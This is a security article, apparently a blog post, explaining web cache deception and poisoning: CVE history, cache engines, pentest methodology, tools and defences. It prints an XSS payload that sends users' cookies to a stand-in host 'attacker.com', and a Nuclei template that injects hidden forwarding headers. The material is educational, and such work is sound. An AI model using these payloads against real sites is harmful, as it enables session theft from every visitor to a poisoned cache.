- Security
- A
Attacks on web caching. Cache poisoning: theory and practice
Caching is an efficient architectural solution that is used at all levels of computing systems today, from processor and hard disk cache to web server cache and reverse proxy servers. It is the latter that will be discussed.
In this article, we will look at cache deception and poisoning attacks, focusing on the latter: we will trace the history of the vulnerability, talk about cache engines and the latest CVEs associated with them. We will also try to figure out how to look for cache poisoning on real targets. We will outline the pentest methodology, assess the risks and consequences of exploitation, and outline general approaches to protection.
Contents:
1. THE ESSENCE OF THE PROBLEM
1.1 Introduction to Web Caching
1.2 Types of Web Cache Attacks
2. DIVING INTO THE TOPIC
2.1 Vulnerability History
2.2 Cache Engines
3. PRACTICAL SIDE OF THE ISSUE
3.1 Pentest Methodology
3.2 How Not to Look for Cache Poisoning
3.3 Hands-on — What Does It Mean?
4. TO BE OR NOT TO BE CACHE POISONING
4.1 Possible Consequences of Exploitation
4.2 Protection Methods
CONCLUSION
1. The Essence of the Problem
1.1 Introduction to Web Caching
The main principle of web cache operation is to save copies of requested data so that these data can be retrieved faster upon repeated requests without the need to re-request from the original server. There are several types of web cache:
Client cache (browser cache)
Intermediate cache (CDN, load balancers, reverse proxies)
Server cache
The use of web caching has many advantages. First of all, it significantly increases the loading speed of web pages, which improves the user experience. It also reduces the load on the server and saves network traffic.
1.2 Types of web cache attacks
As is often the case, convenience has its downside: the use of web caching can also create major security issues.
Most modern web cache attacks can actually be divided into two categories: cache deception and cache poisoning. Each of these attacks has its own scenarios and subtypes.
Cache deception is an attack in which a cache server can be tricked into caching a non-existent static file, for example, one that supposedly refers to a directory with confidential data, say: Ivanov_Ivan/account/nonexistence.css. If Ivanov Ivan follows such a link and the response is cached, then anyone who follows this path will be able to obtain his confidential data or even session without authentication, since the page with his account is cached as static.
The question arises: why should a non-existent static file be cached at all? Incorrect handling of regular expressions in the Django framework, for example, leads to the cache deception scenario described above. The figure below shows the use of regular expressions with a vulnerability to cache deception.
And in the next figure, a more correct version with the designation of the end of the regular expression.
Now about web cache poisoning. This is a type of attack in which an attacker injects malicious or fake content into the system cache.
For example, there is client cache poisoning. This is an attack in which malicious code is injected into the browser cache and resources (such as JavaScript files) are replaced in order to later use them to steal data, perform malicious actions, or distribute malware.
Browser cache poisoning can often occur, as with other types of cache poisoning, due to caching logic issues and improper http header settings on the web server. Another reason may be the use of Service Workers scripts by the attacker to intercept and modify cached requests. The result is the caching of malicious content, which allows the attacker to control the responses returned by the browser.
But the topic of this article is cache server poisoning. And this attack is more serious than the ones described above because of its large-scale impact: when the caching server is "poisoned", every user who accesses its cache receives fake data.
Cache poisoning can go unnoticed for a long time, as it may include, for example, only javascript code that runs without visible effects for the user. Or it may affect individual groups of users. If the poisoning is targeted at users using all browsers except Chrome, which, let's assume, is used by the security team, this can significantly increase their response time to the attack. This is possible with the User-Agent header included in the cache key.
The purpose of a cache poisoning attack is to cause a malicious server response (or an error response if the goal is DoS) and cache this response for other users.
Let's define the terms:
Cache key is the parameters of the client request, the immutability of which makes the cache server return the cached response, and their change - the original response from the server. The cache key is often represented as a hash of the values of these parameters. In other words, these are several specific elements of an HTTP request (headers, paths, cookies, etc.) that are used to fully identify the requested resource.
Cache-buster is an indication to load the resource from the server, not from the cache. This indication is given by changing the parameters included in the cache key.
Hidden headers are HTTP headers that are not standard or publicly available but can be used for various purposes, including handling proxies, load balancers, and other intermediate devices. These headers are often added on the server or by intermediate devices and may not be obvious or known to the client.
Let's consider a simple case of cache poisoning using one of the lab exercises on Port Swigger:
We replace the initial value of the prod-cache-01 parameter Cookie fehost with any other set of characters (in the figure above, it is "test"), send requests with different values of this parameter to the web application a couple of times, and note two points:
The X-Cache response header has a value of miss on the first request and hit on subsequent requests, regardless of the fehost value. This indicates that Cookies are not included in the cache key, meaning the main page will be loaded from the cache server for all users.
The fehost value in the request is reflected in the page code. This means we have reflected XSS.
Based on these two points, we understand that if we write, for example, for fehost:
prod-cache-01» }; var img = new Image(); img.src = 'https://attacker.com/collect?cookies=' + encodeURIComponent(document.cookie); {»
Then the cookies of all users visiting the main page will be sent to the attacker's resource without their knowledge.
2. Diving into the topic
2.1 Vulnerability history
Mentions of web cache poisoning vulnerabilities can be found since 2007. The earliest CVE related to web cache poisoning, according to the NVD database, was in the same year and was associated with a vulnerability in the Drupal CMS, which could cause a massive DoS.
In 2009, there was a significant OWASP publication on this topic.
In the 2010s, relatively few incidents related to cache poisoning were recorded. For example, a 2011 vulnerability in the Safari browser or in the CMS Made Simple in 2016.
The topic gained new life after the presentation "Practical Web Cache Poisoning: Redefining 'Unexploitable'" by Port Swigger researcher James Kettle at the Black Hat conference in 2018, who demonstrated new attack methods and defenses against them. After this presentation, many CDN providers began releasing various materials on web cache poisoning. Quite a lot of articles and research have been regularly published in general.
Several CVEs this year related to web cache poisoning:
Vulnerability in Apache Traffic Server versions 8.0.0-8.1.10 and 9.0.0-9.2.4.
Vulnerability in Moby, a project for software containerization, up to version 24.0.9. An attacker, knowing the Dockerfile, can poison the cache by forcing the user to download a specially crafted image that will be considered valid cache for some build stages.
Vulnerability in IBM Datacap Navigator versions 9.1.5-9.1.9.
2.2 Cache Engines
Cache engines are solutions used for caching web content. Cache engines can be standalone software solutions, solutions within CDNs, and simply caching functionalities in frameworks and CMS.
Among popular software solutions, Apache Traffic Server can be named first by the number of registered CVEs over the past couple of years. However, it should be noted that the number of CVEs is not an indicator of the security or insecurity of the product. The following factors can serve as indicators of product security:
The software is actively used and developed.
The vendor encourages the search for vulnerabilities in their product.
New security bugs are processed and fixed quickly.
CVE should be relied upon as a basis for current and future research.
Among CDN providers, Cloudflare is the world's leading provider, which has a good reputation for responding promptly to current cybersecurity challenges. Thus, in the Port Swigger article from 06.10.2018, analyzing the methods of protecting CDN providers from cache poisoning attacks, Cloudflare's methods were rated as the best among others.
Regarding CMS cache poisoning, the latest news notes a vulnerability in TYPO3 from 30.05.2023. As well as a critical vulnerability in the Drupal core from 21.09.2023.
As for frameworks, one of the most interesting studies of this year can be called the bug hunter's article about a vulnerability in Next.js. One of the points discovered by the bug hunter was that Next.js tries to solve the problem of self-caching when requesting RSC (React Server Components) data by adding a cache buster to the URL. However, this does not prevent attackers from poisoning the cache by sending requests with the rsc header without using the cache buster.
3. Practical side of the issue
3.1 Pentest methodology
Now let's try to develop a methodology for researching and exploiting web cache poisoning in real applications.
Select a suitable resource for research, or "cache-oracle".
Cache-oracle is a web page that provides convenient feedback for the researcher on the behavior of the cache. Feedback can manifest in different ways:
An HTTP header that explicitly tells us whether the resource is cached or not (hit/miss).
Observable changes in dynamic content.
Different response times when requesting a resource.
Investigate the caching logic and cache key, try to find hidden caching parameters.
The cache key is investigated by asking our "oracle" questions with various parameter transformations: removing individual query parameters, removing the entire query string, removing the port from the Host header, URL decoding, and so on. Each such "question" is asked by sending two slightly different requests and observing whether the second one hits the cache.
Then, by guessing, for example, hidden HTTP headers related to caching and substituting our own values, we can inadvertently poison the cache for all users, which is a gross mistake for an ethical hacker performing a pentest with the condition not to harm the client. Therefore, a cache-buster should be used with each such "guess".
All this can be done manually or using automation tools (be sure to exclude system impact in the settings of the tool used). Here are some of them:
Param Miner.
This is an open-source extension for Burp Suite that automatically searches for non-obvious HTTP request parameters. It automatically inserts various parameters into requests and analyzes responses to identify parameters that can be used for cache poisoning.
AutoPoisoner.
A tool for automating the detection of web application caching vulnerabilities. It analyzes changes in HTTP responses when headers are added, checks for differences in status codes and response lengths, and manipulates the Host header by adding ports. Additionally, the tool automatically scans static files to identify other potential cache vulnerabilities.
-Web Cache Vulnerability Scanner.
A fairly serious scanner written in Go for detecting web cache vulnerabilities by Hackmanit. The scanner supports many different methods of cache poisoning and deception, supports URL testing, and can adapt to specific caches for more effective testing. It is easy to configure and integrate into existing DevOps processes.
Also, to investigate cache keys and hidden headers, it will be useful to study the available documentation of the used CDNs, engines, frameworks, and others, as well as the source code and possible information leaks.
Exploitation of the vulnerability.
Now it is necessary to obtain a malicious response from the server and cache it. The simplest thing that can often be done is to cause a denial of service (DoS), for example, by causing a 403 server response and caching the result, which means that all users of the application will receive this error instead of the requested page.
However, even if it is possible to cache such server responses, the best option, nevertheless, is to find additional vulnerabilities, such as reflected XSS, open redirect, and others, which by themselves might be harmless, but in combination with cache poisoning, they reach a completely different level.
For example, using XSS, an attacker can inject a malicious script that will be executed in the browsers of users receiving cached pages. This can lead to the theft of credentials, sessions, or even complete control over user accounts. Additionally, it is important to note that the attack can be directed not only at users but also at internal systems if caching is configured incorrectly. This can result in internal data, such as confidential information or administrative interfaces, being accessible to attackers.
3.2 How not to look for cache poisoning
By and large, the first question that should arise for a pentester when practically considering cache poisoning is the possibility of effective mass scanning of domains. After all, the main page of the site is cached quite often, so if such scanning were possible, it would significantly facilitate the detection of this vulnerability.
Let's check it ourselves, for which we will use the popular among bug hunters scanner Nuclei. We will take an already prepared template for checking cache poisoning, which in the GET request sends possible hidden http headers and checks if there are values of these headers in the body of the received response. We will edit this template by adding a lot of useful payload in the form of possible hidden headers:
info:
name: Web Cache Poisoning
author: sensa1ac
severity: high
requests:
- raw:
- |
GET /?cb=5893815815934534444 HTTP/1.1
X-Forwarded-Prefix: cache.poison.com
X-Forwarded-Host: cache.poison.com
X-Forwarded-For: cache.poison.com
X-Forwarded-Prefix: cache.poison.com
X-Forwarded-Host: cache.poison.com
X-Forwarded-Scheme: http
X-Forwarded-Server: cache.poison.com
X-Originating-Ip: cache.poison.com
X-Orig-Client: cache.poison.com
X-Original-Remote-Addr: cache.poison.com
X-Original-Host: cache.poison.com
X-Original-Url: cache.poison.com
X-Originally-Forwarded-For: cache.poison.com
X-Remote-Ip: cache.poison.com
X-Remote-Addr: cache.poison.com
X-Real-Ip: cache.poison.com
X-Client-Ip: cache.poison.com
X-Remote-Host: cache.poison.com
X-From: cache.poison.com
X-Host: cache.poison.com
X-Http-Destinationurl: cache.poison.com
X-Ip: cache.poison.com
X-Server-Name: cache.poison.com
XXX-Real-Ip: cache.poison.com
Client-Ip: cache.poison.com
Forwarded: cache.poison.com
Forwarded-For: cache.poison.com
Forwarded-For-Ip: cache.poison.com
Pc-Remote-Addr: cache.poison.com
Real-Ip: cache.poison.com
Remote-Addr: cache.poison.com
Remote-Host: cache.poison.com
Remote-Host-Wp: cache.poison.com
Remote-User: cache.poison.com
Proxy-Connection: cache.poison.com
Via: cache.poison.com
- |
GET /?cb=5893815815934534444 HTTP/1.1
req-condition: true
matchers:
- type: dsl
dsl:
'contains(body_2, «cache.poison.com») == true'
Let's check the template's performance in the lab work "Web cache poisoning with an unkeyed header" from Port Swigger.
Excellent, everything works. Now let's move on to real goals in Bug Bounty. We will collect a couple of thousand domains from the domestic Standoff365 and a couple of hundred thousand from the foreign HackerOne and scan them with our template.
But the result is the same:
Which clearly answers the question: cache poisoning should be searched manually, and scanners should be used to work with a specific resource.
3.3 Manually — how?
In reality, it is somewhat more complicated than just finding everything we are looking for on the main page of the domain right away. Often, findings in the area of cache poisoning are brought about by requests to automatically generated resources, not to the main page of the domain. Such as /js/geolocate.js, /statistics/info.json?utm-content=foo, and others, as it is in these resources that the entire caching functionality is implemented, and these resources, as practice shows, poorly or do not check user input at all, and therefore are the most vulnerable.
How to find parameters without user filtering in requests to such resources? Well, for example, I log into my account on a well-known site of a company that has placed its domains on HackerOne, so that, among other things, we can try to find something interesting with our own hands. It is enough to run through a couple of pages of the site to see such a request to the script with statistics in Burp Suite.
Let's pay attention to the values of the domain parameter Set-Cookie. The main domain is currently specified there. By enabling the Param Miner extension with the "Guess headers" option, we find the following:
In fact, in the matter of cache poisoning exploitation, this is all uninteresting exactly to the extent that it is generally a non-cacheable response, and the domain parameter Set-Cookie is generally an instruction for the browser (to send cookies to the specified domain and its subdomains).
Nevertheless, we learned that the origin server expects the X-Host header from the proxy server: it expects and is ready to process it, even if it receives it from the client side, that is, from us.
Notably, the same company on another resource was found in the same way as above, the ability to control the value of the Access-Control-Allow-Origin header, as well as a hidden URL parameter "timeout", the value of which determines the maximum time the proxy server will wait for a response from the server, which allows you to easily calculate the average time it takes for a request to go from the proxy to the server, down to nanoseconds, because if the request does not meet the specified time, a 500 status will be received.
For a bug hunter, all these disparate observations provide a basis for further manual research of the company's domains and quite justified hopes of finding serious cache poisoning with a chain of exploits.
4. To be or not to be cache poisoning
4.1 Possible consequences of exploitation
Now let's talk about the possible consequences of web cache poisoning exploitation.
As already mentioned in the description of the pentest methodology, cache poisoning itself is often exploited by denial of service, massive or selective (by http headers depending on the cache key), which is usually classified as a medium or high level of risk. However, in combination with other vulnerabilities, this can lead to very serious consequences, classified as high-critical level of risk.
Here are some examples of what can happen when combining web cache poisoning with other vulnerabilities:
Combination with XSS.
If cache poisoning allows injecting XSS scripts into cached pages, an attacker can inject a script that steals users' session cookies. This script will be executed for all users who receive the poisoned page from the cache.
Combination with CSRF.
Using cache poisoning, an attacker can modify cached pages by adding hidden CSRF requests. This allows sending requests on behalf of users without their knowledge.
Example: An attacker modifies a cached account settings page by adding a hidden form that sends a request to change the email or password.
Combination with authentication vulnerabilities.
In case of authentication vulnerabilities (e.g., weak protection against token reuse), cache poisoning can be used to distribute fake authentication tokens.
Combination with business logic vulnerabilities.
Cache poisoning can be used to modify data displayed on pages related to transactions or important operations.
Combination with server-level vulnerabilities.
If the server improperly handles cacheable data, an attacker can use cache poisoning to inject malicious commands or data. For example, modifying a cacheable API response that is then used by the server to execute business logic, which can lead to arbitrary command execution.
4.2 Protection Methods
Cache poisoning attacks are primarily associated with the violation of the caching logic itself. However, even adding certain headers that caused the vulnerability to the cache key does not definitively solve the problem. The complexity of caching itself provides ample room for its exploration from an offensive security perspective.
Let's consider general approaches to ensuring secure web caching:
Be mindful of what content is cached, limit caching or disable it altogether if it is not necessary (for example, many CDNs have caching enabled by default).
Proper cache configuration: correct headers (Cache-Control, ETag, Vary), correct cache key formation.
Do not ignore "harmless" vulnerabilities that can lead to severe consequences when combined with cache poisoning: implement input validation and sanitization, as well as security headers (CSP, X-Content-Type-Options, X-XSS-Protection).
Regular software updates. Since cache poisoning vulnerability can come from the cache engines we use as part of CMS, frameworks, and others.
Conclusion
To build a competent web caching system, it is necessary to understand the basic concepts of cache attacks, methods of their detection and exploitation by potential attackers, which were also discussed in this article.
Due to the high potential risk, web caching vulnerabilities and cache poisoning, in particular, will continue to be the subject of ongoing research.
Write comment